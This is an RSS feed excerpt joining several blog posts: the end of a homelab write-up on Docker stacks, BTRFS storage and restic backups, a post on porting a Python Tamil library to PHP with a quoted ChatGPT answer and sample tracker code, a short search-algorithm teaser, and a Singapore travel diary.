<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">just</span><span style="color: light-dark(#032F62, #96D0FF);"> deploy-stack</span><span style="color: light-dark(#032F62, #96D0FF);"> floyd-homelab-1</span><span style="color: light-dark(#032F62, #96D0FF);"> immich</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> View the logs for a stack</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">just</span><span style="color: light-dark(#032F62, #96D0FF);"> logs</span><span style="color: light-dark(#032F62, #96D0FF);"> floyd-homelab-1</span><span style="color: light-dark(#032F62, #96D0FF);"> immich</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Test a deployment without making changes</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">just</span><span style="color: light-dark(#032F62, #96D0FF);"> dry-run</span><span style="color: light-dark(#032F62, #96D0FF);"> floyd-homelab-1</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/homelab-deploy.gif" alt="Deployment workflow demonstration" /></p>
<p>This system provides fine-grained control over deployments, with support for actions like <code>up</code>, <code>down</code>, <code>restart</code>, <code>pull</code>, and <code>recreate</code> (which also removes persistent volumes).</p>
<h3 id="container-configuration-patterns">Container &amp; Configuration Patterns<a class="zola-anchor" href="#container-configuration-patterns" aria-label="Anchor link for: container-configuration-patterns">#</a></h3>
<p>To keep the system consistent, I follow a few key patterns:</p>
<ul>
<li><strong>Data Persistence</strong>: Instead of using Docker named volumes, I use host bind mounts. All persistent data for a service is stored in a dedicated directory on the host, typically <code>/data/&lt;service-name&gt;</code>. This makes backups and data management more transparent.</li>
<li><strong>Reverse Proxy Network</strong>: The Caddy stack defines a shared Docker network called <code>public_proxy</code>. Other stacks that need to be exposed to the internet are configured to join this network. This allows Caddy to discover and proxy them without exposing their ports on the host machine. I have written about this pattern in detail in a <a rel="external" href="https://mrkaran.dev/posts/exposing-services/">previous post</a>.</li>
<li><strong>Port Exposure</strong>: Services behind the reverse proxy use the <code>expose</code> directive in their <code>docker-compose.yml</code> to make ports available to Caddy within the Docker network. I avoid binding ports directly with <code>ports</code> unless absolutely necessary.</li>
</ul>
<h2 id="multi-machine-topology">Multi-Machine Topology<a class="zola-anchor" href="#multi-machine-topology" aria-label="Anchor link for: multi-machine-topology">#</a></h2>
<p>The homelab comprises three distinct machines to provide isolation and redundancy.</p>
<ul>
<li><strong>floyd-homelab-1 (Primary Server)</strong>: The core of the homelab, running on the AMD hardware detailed above. It runs data-intensive personal services (e.g., Immich, Paperless-ngx) and is accessible only via the Tailscale network.</li>
<li><strong>floyd-pub-1 (Public VPS)</strong>: A small cloud VPS that hosts public-facing services requiring high availability, such as DNS utilities, analytics, and notification relays.</li>
<li><strong>floyd-monitor-public (Monitoring VPS)</strong>: A small Hetzner VM running Gatus for health checks. Its independence ensures that I am alerted if the primary homelab or home network goes offline.</li>
</ul>
<p>This distributed setup isolates my home network from the public internet and ensures that critical public services remain online even if the home server is down for maintenance.</p>
<h2 id="hosted-services">Hosted Services<a class="zola-anchor" href="#hosted-services" aria-label="Anchor link for: hosted-services">#</a></h2>
<p>The following is a breakdown of the services, or “stacks,” running on each machine. A few key services that are central to the homelab are detailed further in the next section.</p>
<h3 id="floyd-homelab-1-primary-server">floyd-homelab-1 (Primary Server)<a class="zola-anchor" href="#floyd-homelab-1-primary-server" aria-label="Anchor link for: floyd-homelab-1-primary-server">#</a></h3>
<ul>
<li><strong><a rel="external" href="https://github.com/actualbudget/actual-server">Actual</a></strong>: A local-first personal finance and budgeting tool.</li>
<li><strong><a rel="external" href="https://caddyserver.com/">Caddy</a></strong>: A powerful, enterprise-ready, open source web server with automatic HTTPS.</li>
<li><strong><a rel="external" href="https://gitea.io/">Gitea</a></strong>: A Git service for personal projects.</li>
<li><strong><a rel="external" href="https://github.com/glanceapp/glance">Glance</a></strong>: A dashboard for viewing all my feeds and data in one place.</li>
<li><strong><a rel="external" href="https://immich.app/">Immich</a></strong>: A photo and video backup solution, directly from my mobile phone.</li>
<li><strong><a rel="external" href="https://karakeep.app/">Karakeep</a></strong>: An app for bookmarking everything, with AI-based tagging and full-text search.</li>
<li><strong><a rel="external" href="https://owntracks.org/">Owntracks</a></strong>: A private location tracker for recording my own location data.</li>
<li><strong><a rel="external" href="https://github.com/paperless-ngx/paperless-ngx">Paperless-ngx</a></strong>: A document management system that transforms physical documents into a searchable online archive.</li>
<li><strong><a rel="external" href="https://silverbullet.md/">Silverbullet</a></strong>: A Markdown-based knowledge management and note-taking tool.</li>
</ul>
<h3 id="floyd-monitor-public-monitoring-vps">floyd-monitor-public (Monitoring VPS)<a class="zola-anchor" href="#floyd-monitor-public-monitoring-vps" aria-label="Anchor link for: floyd-monitor-public-monitoring-vps">#</a></h3>
<ul>
<li><strong><a rel="external" href="https://caddyserver.com/">Caddy</a></strong>: Reverse proxy for the services on this node.</li>
</ul>
<h3 id="floyd-pub-1-public-vps">floyd-pub-1 (Public VPS)<a class="zola-anchor" href="#floyd-pub-1-public-vps" aria-label="Anchor link for: floyd-pub-1-public-vps">#</a></h3>
<ul>
<li><strong><a rel="external" href="https://beszel.dev/">Beszel-agent</a></strong>: The agent for the Beszel monitoring platform.</li>
<li><strong><a rel="external" href="https://caddyserver.com/">Caddy</a></strong>: Reverse proxy for the services on this node.</li>
<li><strong><a rel="external" href="https://github.com/mr-karan/cloak">Cloak</a></strong>: A service to securely share sensitive text with others.</li>
<li><strong><a rel="external" href="https://doggo.mrkaran.dev/">Doggo</a></strong>: A command-line DNS Client for Humans, written in Golang.</li>
<li><strong><a rel="external" href="https://ntfy.sh/">Ntfy</a></strong>: A self-hosted push notification service.</li>
<li><strong><a rel="external" href="https://github.com/mr-karan/prom2grafana">prom2grafana</a></strong>: A tool to convert Prometheus metrics to Grafana dashboards and alert rules using AI.</li>
<li><strong><a rel="external" href="https://umami.is/">Umami</a></strong>: A simple, fast, privacy-focused alternative to Google Analytics.</li>
</ul>
<h2 id="service-highlights">Service Highlights<a class="zola-anchor" href="#service-highlights" aria-label="Anchor link for: service-highlights">#</a></h2>
<h3 id="technitium-a-powerful-dns-server">Technitium: A Powerful DNS Server<a class="zola-anchor" href="#technitium-a-powerful-dns-server" aria-label="Anchor link for: technitium-a-powerful-dns-server">#</a></h3>
<p>I came across Technitium DNS after seeing a recommendation from <a rel="external" href="https://twitter.com/oddtazz">@oddtazz</a>, and it has been a revelation. For anyone who wants more than just basic ad blocking from their DNS server, it’s a game-changer. It serves as both a recursive and authoritative server, meaning I don’t need a separate tool like <code>unbound</code> to resolve from root hints. The level of configuration is incredible—from DNSSEC, custom zones, and SOA records to fine-grained caching control.</p>
<p>The UI is a bit dated, but that’s a minor point for me given the raw power it provides. It is a vastly underrated tool for any homelabber who wants to go beyond Pi-hole or AdGuard Home.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/homelab-technitium.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/homelab-technitium.png" alt="Technitium DNS Server UI" width="400"></a>
</div>
<h3 id="beszel-lightweight-monitoring">Beszel: Lightweight Monitoring<a class="zola-anchor" href="#beszel-lightweight-monitoring" aria-label="Anchor link for: beszel-lightweight-monitoring">#</a></h3>
<p>For a long time, I felt that monitoring a homelab meant spinning up a full Prometheus and Grafana stack. Beszel is the perfect antidote to that complexity. It provides exactly what I need for basic node monitoring—CPU, memory, disk, and network usage—in a simple, lightweight package.</p>
<p>It’s incredibly easy to set up and provides a clean, real-time view of my servers without the overhead of a more complex system. For a simple homelab monitoring setup, it’s hard to beat.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/homelab-beszel-1.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/homelab-beszel-1.png" alt="Beszel Monitoring UI" width="400"></a>
</div>
<h3 id="gatus-external-health-checks">Gatus: External Health Checks<a class="zola-anchor" href="#gatus-external-health-checks" aria-label="Anchor link for: gatus-external-health-checks">#</a></h3>
<p>While Beszel monitors the servers from the inside, Gatus watches them from the outside. Running on an independent Hetzner VM, its job is to ensure my services are reachable from the public internet. It validates HTTP status codes, response times, and more.</p>
<p>This separation is crucial; if my entire home network goes down, Gatus is still online to send an alert to my phone. It’s the final piece of the puzzle for robust monitoring, ensuring I know when things are broken even if the monitoring service itself is part of the outage.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/homelab-gatus.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/homelab-gatus.png" alt="Gatus Health Checks UI" width="400"></a>
</div>
<h2 id="storage-and-backup-strategy">Storage and Backup Strategy<a class="zola-anchor" href="#storage-and-backup-strategy" aria-label="Anchor link for: storage-and-backup-strategy">#</a></h2>
<p>Data integrity and recoverability are critical. My strategy is built on layers of redundancy and encryption.</p>
<h3 id="storage-btrfs-raid-1-luks-encryption">Storage: BTRFS RAID 1 + LUKS Encryption<a class="zola-anchor" href="#storage-btrfs-raid-1-luks-encryption" aria-label="Anchor link for: storage-btrfs-raid-1-luks-encryption">#</a></h3>
<p>I chose BTRFS for its modern features:</p>
<ul>
<li><strong>Checksumming</strong>: Protects against silent data corruption.</li>
<li><strong>Copy-on-Write</strong>: Enables instantaneous, low-cost snapshots.</li>
<li><strong>Transparent Compression</strong>: <code>zstd</code> compression saves space without significant performance overhead.</li>
</ul>
<p>The two 4TB drives are mirrored in a RAID 1 array, providing redundancy against a single drive failure. The entire array is encrypted using LUKS2, with the key stored on the boot SSD for automatic mounting. This protects data at rest in case of physical theft or drive disposal.</p>
<p>Mount options in <code>/etc/fstab</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">/dev/mapper/crypt-sda</span><span style="color: light-dark(#032F62, #96D0FF);"> /mnt/storage</span><span style="color: light-dark(#032F62, #96D0FF);"> btrfs</span><span style="color: light-dark(#032F62, #96D0FF);"> defaults,noatime,compress=zstd</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2</span></span></code></pre><h3 id="backup-restic-cloudflare-r2">Backup: Restic + Cloudflare R2<a class="zola-anchor" href="#backup-restic-cloudflare-r2" aria-label="Anchor link for: backup-restic-cloudflare-r2">#</a></h3>
<p>RAID does not protect against accidental deletion, file corruption, or catastrophic failure. My backup strategy follows the 3-2-1 rule.</p>
<p>Daily, automated backups are managed by systemd timers running <code>restic</code>. Backups are encrypted and sent to Cloudflare R2, providing an off-site copy. R2 was chosen for its zero-cost egress, which is a significant advantage for restores.</p>
<p>The backup script covers critical application data and the Docker Compose configurations:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>BACKUP_PATHS</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/mnt/storage</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6A737D, #768390);">        #</span><span style="color: light-dark(#6A737D, #768390);"> All application data</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/home/karan/stacks</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6A737D, #768390);">  #</span><span style="color: light-dark(#6A737D, #768390);"> Docker Compose configs</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>Each backup run reports its status to a <a rel="external" href="https://healthchecks.io">healthchecks.io</a> endpoint, which sends a push notification on failure. I must appreciate its generous free tier, which is more than sufficient for my needs.</p>
<div style="text-align: center;">
<a href="https://mrkaran.dev/images/homelab-healthcheck.png" class="lightbox-thumbnail" data-featherlight="image"><img src="https://mrkaran.dev/images/homelab-healthcheck.png" alt="Healthchecks.io backup monitoring dashboard" width="400"></a>
</div>
<h2 id="conclusion">Conclusion<a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a></h2>
<p>This homelab represents a shift in philosophy from exploring complexity to valuing simplicity and reliability. The upfront hardware investment of ~$1,200 is offset by eliminating recurring cloud hosting costs and providing complete control over my data and services.</p>
<p>For those considering a homelab, my primary recommendation is to start with a simple, well-understood foundation. A reliable machine with a solid backup strategy is more valuable than a complex, hard-to-maintain cluster. The goal is to build a system that serves your needs, not one that you serve.</p>
<hr />
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Porting A Python program with help of Chat GPT – #1]]></title>
            <link>https://programmerlife1.wordpress.com/2025/10/01/porting-a-python-program-with-help-of-chat-gpt-1/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2025/10/01/porting-a-python-program-with-help-of-chat-gpt-1/</guid>
            <pubDate>Wed, 01 Oct 2025 12:27:59 GMT</pubDate>
            <description><![CDATA[Hi all, In 2024, I have started porting a python library open tamil https://github.com/Ezhil-Language-Foundation/open-tamil/. I faced difficulties on tracking the port status of the application and noting the python symbols with php implementation with testing and documenting the changes over time because the code base itself not a small one. so i have decided to […]]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph">Hi all,</p>



<p class="wp-block-paragraph">In 2024, I have started porting a python library open tamil </p>



<p class="wp-block-paragraph"><a href="https://github.com/Ezhil-Language-Foundation/open-tamil/">https://github.com/Ezhil-Language-Foundation/open-tamil/</a>.</p>



<p class="wp-block-paragraph">I faced difficulties on tracking the port status of the application and noting the python symbols with php implementation with testing and documenting the changes over time because the code base itself not a small one. </p>



<p class="wp-block-paragraph">so i have decided to prioritize tracking than the porting. </p>



<p class="wp-block-paragraph">kick started the tracking with a mapping file and a php script fine tuned the process with explaining the difficulties </p>



<p class="wp-block-paragraph">Step 1 : </p>



<p class="wp-block-paragraph">i want a porting status tracker in php which reads the symbols in a python code and it require equivalent symbol with working status and documentation is it possible?</p>



<p class="wp-block-paragraph">CHATGPT : Yes, it’s absolutely possible <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f44d.png" alt="👍" class="wp-smiley" style="height: 1em; max-height: 1em;" /><br>You can build a <strong>porting status tracker</strong> in PHP that analyzes Python code, extracts symbols (functions, classes, methods, variables), and then checks against a mapping of equivalent PHP symbols with their <strong>status</strong> (e.g., <em>ported / not ported / partially working</em>) and optional documentation.</p>



<p class="wp-block-paragraph">Here’s how you can approach it:</p>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading"><img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f539.png" alt="🔹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> High-Level Approach</h2>



<ol class="wp-block-list">
<li><strong>Parse Python code</strong>
<ul class="wp-block-list">
<li>Extract symbols like <code>def function_name</code>, <code>class ClassName</code>, global variables, and imports.</li>



<li>You can do this with regex (simpler) or by calling Python’s <code>ast</code> module and returning JSON for PHP to read.</li>
</ul>
</li>



<li><strong>Maintain a Mapping Table</strong><ul><li>A JSON or database table that maps:<ul><li><code>python_symbol</code> → <code>php_equivalent</code>, <code>status</code>, <code>notes</code></li></ul></li></ul>Example: <code>{ "print": { "php_equivalent": "echo", "status": "ported", "notes": "Direct replacement" }, "len": { "php_equivalent": "count", "status": "ported", "notes": "Works on arrays" }, "dict": { "php_equivalent": "associative array", "status": "in-progress", "notes": "Limited support" } }</code></li>



<li><strong>Tracker Logic</strong>
<ul class="wp-block-list">
<li>For each symbol found in the Python code, check if it exists in the mapping.</li>



<li>Output a report (HTML table / JSON / CLI output) with:
<ul class="wp-block-list">
<li>Symbol name</li>



<li>PHP equivalent</li>



<li>Porting status</li>



<li>Documentation/Notes</li>
</ul>
</li>
</ul>
</li>



<li><strong>Visualization</strong>
<ul class="wp-block-list">
<li>You can show progress in percentage: <code>Total Symbols: 50 Ported: 30 (60%) Pending: 20 (40%)</code></li>
</ul>
</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading"><img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f539.png" alt="🔹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Example PHP Implementation (Simple Version)</h2>



<pre class="wp-block-code"><code>&lt;?php

class PortingTracker {
    private $mapping;

    public function __construct($mappingFile) {
        $this-&gt;mapping = json_decode(file_get_contents($mappingFile), true);
    }

    public function analyzePythonFile($pythonFile) {
        $code = file_get_contents($pythonFile);

        // Simple regex to find defs and classes
        preg_match_all('/def\s+(&#091;a-zA-Z0-9_]+)/', $code, $functions);
        preg_match_all('/class\s+(&#091;a-zA-Z0-9_]+)/', $code, $classes);

        $symbols = array_merge($functions&#091;1], $classes&#091;1]);

        $report = &#091;];
        foreach ($symbols as $symbol) {
            if (isset($this-&gt;mapping&#091;$symbol])) {
                $report&#091;$symbol] = $this-&gt;mapping&#091;$symbol];
            } else {
                $report&#091;$symbol] = &#091;
                    "php_equivalent" =&gt; null,
                    "status" =&gt; "missing",
                    "notes" =&gt; "No mapping found"
                ];
            }
        }

        return $report;
    }
}

// Example usage
$tracker = new PortingTracker("mapping.json");
$result = $tracker-&gt;analyzePythonFile("example.py");

echo "&lt;table border='1' cellpadding='5'&gt;";
echo "&lt;tr&gt;&lt;th&gt;Python Symbol&lt;/th&gt;&lt;th&gt;PHP Equivalent&lt;/th&gt;&lt;th&gt;Status&lt;/th&gt;&lt;th&gt;Notes&lt;/th&gt;&lt;/tr&gt;";
foreach ($result as $py =&gt; $info) {
    echo "&lt;tr&gt;
            &lt;td&gt;{$py}&lt;/td&gt;
            &lt;td&gt;{$info&#091;'php_equivalent']}&lt;/td&gt;
            &lt;td&gt;{$info&#091;'status']}&lt;/td&gt;
            &lt;td&gt;{$info&#091;'notes']}&lt;/td&gt;
          &lt;/tr&gt;";
}
echo "&lt;/table&gt;";
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading"><img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f539.png" alt="🔹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Output Example (HTML Table)</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Python Symbol</th><th>PHP Equivalent</th><th>Status</th><th>Notes</th></tr></thead><tbody><tr><td>print</td><td>echo</td><td>ported</td><td>Direct replacement</td></tr><tr><td>len</td><td>count</td><td>ported</td><td>Works on arrays</td></tr><tr><td>dict</td><td>associative array</td><td>in-progress</td><td>Limited support</td></tr><tr><td>MyClass</td><td>NULL</td><td>missing</td><td>No mapping found</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<h2 class="wp-block-heading"><img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f539.png" alt="🔹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Next-Level Features</h2>



<ul class="wp-block-list">
<li>Use <strong>Python AST</strong> (<code>ast</code> module) to extract symbols more reliably instead of regex.<br>(You can run <code>python3 script.py example.py &gt; symbols.json</code> and then load that JSON in PHP.)</li>



<li>Add <strong>progress bar UI</strong> for tracking completion.</li>



<li>Add <strong>search &amp; filter</strong> for large projects.</li>



<li>Store mapping in <strong>MySQL/Postgres</strong> for collaborative tracking.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity" />



<p class="wp-block-paragraph"><img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Do you want me to make a <strong>standalone PHP tool</strong> (self-contained with regex parsing), or do you prefer a <strong>hybrid approach</strong> (use Python AST to export JSON, then PHP reads it)?<br>The hybrid one is much more reliable for real-world Python code.</p>



<p class="wp-block-paragraph">This answer make me a decision on the porting of the python. </p>



<p class="wp-block-paragraph">Started implementing the same but I have to satisfy the how ? inside me. </p>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Uncategorized</category>
            <category>chatgpt</category>
            <category>php</category>
            <category>porting</category>
            <category>python</category>
            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[Binary or Linear? The Hidden Math Behind Faster Code]]></title>
            <link>https://workdone0.substack.com/p/binary-or-linear-the-hidden-math</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/binary-or-linear-the-hidden-math</guid>
            <pubDate>Mon, 29 Sep 2025 14:58:34 GMT</pubDate>
            <description><![CDATA[Follow a simple search problem to understand the power of Big O notation.]]></description>
            <content:encoded><![CDATA[Follow a simple search problem to understand the power of Big O notation.]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[Singapore Trip]]></title>
            <link>https://ravidwivedi.in/posts/singapore-trip/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/singapore-trip/</guid>
            <pubDate>Tue, 23 Sep 2025 11:35:26 GMT</pubDate>
            <description><![CDATA[In December 2024, I went on a trip through four countries - Singapore, Malaysia, Brunei, and Vietnam - with my friend Badri. This post covers our experiences in Singapore.
I took an IndiGo flight from Delhi to Singapore, with a layover in Chennai. At the Chennai airport, I was joined by Badri. We had an early morning flight from Chennai that would land in Singapore in the afternoon. Within 48 hours of our scheduled arrival in Singapore, we submitted an arrival card online. At immigration, we simply needed to scan our passports at the gates, which opened automatically to let us through, and then give our address to an official nearby. The process was quick and smooth, but it unfortunately meant that we didn’t get our passports stamped by Singapore.
Before I left the airport, I wanted to visit the nature-themed park with a fountain I saw in pictures online. It is called Jewel Changi, and it took quite some walking to get there. After reaching the park, we saw a fountain that could be seen from all the levels. We roamed around for a couple of hours, then proceeded to the airport metro station to get to our hotel.

      
A shot of Jewel Changi. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
There were four ATMs on the way to the metro station, but none of them provided us with any cash. This was the first country (outside India, of course!) where my card didn’t work at ATMs.
To use the metro, one can tap the EZ-Link card or bank cards at the AFC gates to get in. You cannot buy tickets using cash. Before boarding the metro, I used my credit card to get Badri an EZ-Link card from a vending machine. It was 10 Singapore dollars (₹630) - 5 for the card, and 5 for the balance. I had planned to use my Visa credit card to pay for my own fare. I was relieved to see that my card worked, and I passed through the AFC gates.
We had booked our stay at a hostel named Campbell’s Inn, which was the cheapest we could find in Singapore. It was ₹1500 per night for dorm beds. The hostel was located in Little India. While Little India has an eponymous metro station, the one closest to our hostel was Rochor.
On the way to the hostel, we found out that our booking had been canceled.
We had booked from the Hostelworld website, opting to pay the deposit in advance and to pay the balance amount in person upon reaching. However, Hostelworld still tried to charge Badri’s card again before our arrival. When the unauthorized charge failed, they sent an automatic message saying “we tried to charge” and to contact them soon to avoid cancellation, which we couldn’t do as we were in the plane.
Despite this, we went to the hostel to check the status of our booking.
The trip from the airport to Rochor required a couple of transfers. It was 2 Singapore dollars (approx. ₹130) and took approximately an hour.
Upon reaching the hostel, we were informed that our booking had indeed been canceled, and were not given any reason for the cancelation. Furthermore, no beds were available at the hostel for us to book on the spot.
We decided to roam around and look for accommodation at other hostels in the area. Soon, we found a hostel by the name of Snooze Inn, which had two beds available. It was 36 Singapore dollars per person (around ₹2300) for a dormitory bed. Snooze Inn advertised supporting RuPay cards and UPI. Some other places in that area did the same. We paid using my card. We checked in and slept for a couple of hours after taking a shower.
By the time we woke up, it was dark. We met Praveen’s friend Sabeel to get my FLX1 phone. We also went to Mustafa Center nearby to exchange Indian rupees for Singapore dollars. Mustafa Center also had a shopping center with shops selling electronic items and souvenirs, among other things. When we were dropping off Sabeel at a bus stop, we discovered that the bus stops in Singapore had a digital board mentioning the bus routes for the stop and the number of minutes each bus was going to take.
In addition to an organized bus system, Singapore had good pedestrian infrastructure. There were traffic lights and zebra crossings for pedestrians to cross the roads. Unlike in Indian cities, rules were being followed. Cars would stop for pedestrians at unmanaged zebra crossings; pedestrians would in turn wait for their crossing signal to turn green before attempting to walk across. Therefore, walking in Singapore was easy.
Traffic rules were taken so seriously in Singapore I (as a pedestrian) was afraid of unintentionally breaking them, which could get me in trouble, as breaking rules is dealt with heavy fines in the country. For example, crossing roads without using a marked crossing (while being within 50 meters of it) - also known as jaywalking - is an offence in Singapore.
Moreover, the streets were litter-free, and cleanliness seemed like an obsession.
After exploring Mustafa Center, we went to a nearby 7-Eleven to top up Badri’s EZ-Link card. He gave 20 Singapore dollars for the recharge, which credited the card by 19.40 Singapore dollars (0.6 dollars being the recharge fee).
When I was planning this trip, I discovered that the World Chess Championship match was being held in Singapore. I seized the opportunity and bought a ticket in advance. The next day - the 5th of December - I went to watch the 9th game between Gukesh Dommaraju of India and Ding Liren of China. The venue was a hotel on Sentosa Island, and the ticket was 70 Singapore dollars, which was around ₹4000 at the time.
We checked out from our hostel in the morning, as we were planning to stay with Badri’s aunt that night. We had breakfast at a place in Little India. Then we took a couple of buses, followed by a walk to Sentosa Island. Paying the fare for the buses was similar to the metro - I tapped my credit card in the bus, while Badri tapped his EZ-Link card. We also had to tap it while getting off.
If you are tapping your credit card to use public transport in Singapore, keep in mind that the total amount of all the trips taken on a day is deducted at the end. This makes it hard to determine the cost of individual trips. For example, I could take a bus and get off after tapping my card, but I would have no way to determine how much this journey cost.
When you tap in, the maximum fare amount gets deducted. When you tap out, the balance amount gets refunded (if it’s a shorter journey than the maximum fare one). So, there is incentive for passengers not to get off without tapping out. Going by your card statement, it looks like all that happens virtually, and only one statement comes in at the end. Maybe this combining only happens for international cards.
We got off the bus a kilometer away from Sentosa Island and walked the rest of the way. We went on the Sentosa Boardwalk, which is itself a tourist attraction. I was using Organic Maps to navigate to the hotel Resorts World Sentosa, but Organic Maps’ route led us through an amusement park. I tried asking the locals (people working in shops) for directions, but it was a Chinese-speaking region, and they didn’t understand English. Fortunately, we managed to find a local who helped us with the directions.

      
A shot of Sentosa Boardwalk. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Following the directions, we somehow ended up having to walk on a road which did not have pedestrian paths. Singapore is a country with strict laws, so we did not want to walk on that road. Avoiding that road led us to the Michael Hotel. There was a person standing at the entrance, and I asked him for directions to Resorts World Sentosa. The person told me that the bus (which was standing at the entrance) would drop me there! The bus was a free service for getting to Resorts World Sentosa. Here I parted ways with Badri, who went to his aunt’s place.
I got to the Resorts Sentosa and showed my ticket to get in. There were two zones inside - the first was a room with a glass wall separating the audience and the players. This was the room to watch the game physically, and resembled a zoo or an aquarium. :) The room was also a silent room, which means talking or making noise was prohibited. Audiences were only allowed to have mobile phones for the first 30 minutes of the game - since I arrived late, I could not bring my phone inside that room.
The other zone was outside this room. It had a big TV on which the game was being broadcast along with commentary by David Howell and Jovanka Houska - the official FIDE commentators for the event. If you don’t already know, FIDE is the authoritative international chess body.
I spent most of the time outside that silent room, giving me an opportunity to socialize. A lot of people were from Singapore. I saw there were many Indians there as well. Moreover, I had a good time with Vasudevan, a journalist from Tamil Nadu who was covering the match. He also asked questions to Gukesh during the post-match conference. His questions were in Tamil to lift Gukesh’s spirits, as Gukesh is a Tamil speaker.
Tea and coffee were free for the audience. I also bought a T-shirt from their stall as a souvenir.
After the game, I took a shuttle bus from Resorts World Sentosa to a metro station, then travelled to Pasir Ris by metro, where Badri was staying with his aunt. I thought of getting something to eat, but could not find any cafés or restaurants while I was walking from the Pasir Ris metro station to my destination, and was positively starving when I got there.
Badri’s aunt’s place was an apartment in a gated community. On the gate was a security guard who asked me the address of the apartment. Upon entering, there were many buildings. To enter the building, you need to dial the number of the apartment you want to go to and speak to them. I had seen that in the TV show Seinfeld, where Jerry’s friends used to dial Jerry to get into his building.
I was afraid they might not have anything to eat because I told them I was planning to get something on the way. This was fortunately not the case, and I was relieved to not have to sleep with an empty stomach.
Badri’s uncle gave us an idea of how safe Singapore is. He said that even if you forget your laptop in a public space, you can go back the next day to find it right there in the same spot. I also learned that owning cars was discouraged in Singapore - the government imposes a high registration fee on them, while also making public transport easy to use and affordable. I also found out that 7-Eleven was not that popular among residents in Singapore, unlike in Malaysia or Thailand.
The next day was our third and final day in Singapore. We had a bus in the evening to Johor Bahru in Malaysia. We got up early, had breakfast, and checked out from Badri’s aunt’s home. A store by the name of Cat Socrates was our first stop for the day, as Badri wanted to buy some stationery. The plan was to take the metro, followed by the bus. So we got to Pasir Ris metro station. Next to the metro station was a mall. In the mall, Badri found an ATM where our cards worked, and we got some Singapore dollars.
It was noon when we reached the stationery shop mentioned above. We had to walk a kilometer from the place where the bus dropped us. It was a hot, sunny day in Singapore, so walking was not comfortable. We had to go through residential areas in Singapore. We saw some non-touristy parts of Singapore.
After we were done with the stationery shop, we went to a hawker center to get lunch. Hawker centers are unique to Singapore. They have a lot of shops that sell local food at cheap prices. It is similar to a food court. However, unlike the food courts in malls, hawker centers are open-air and can get quite hot.

      
This is the hawker center we went to. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
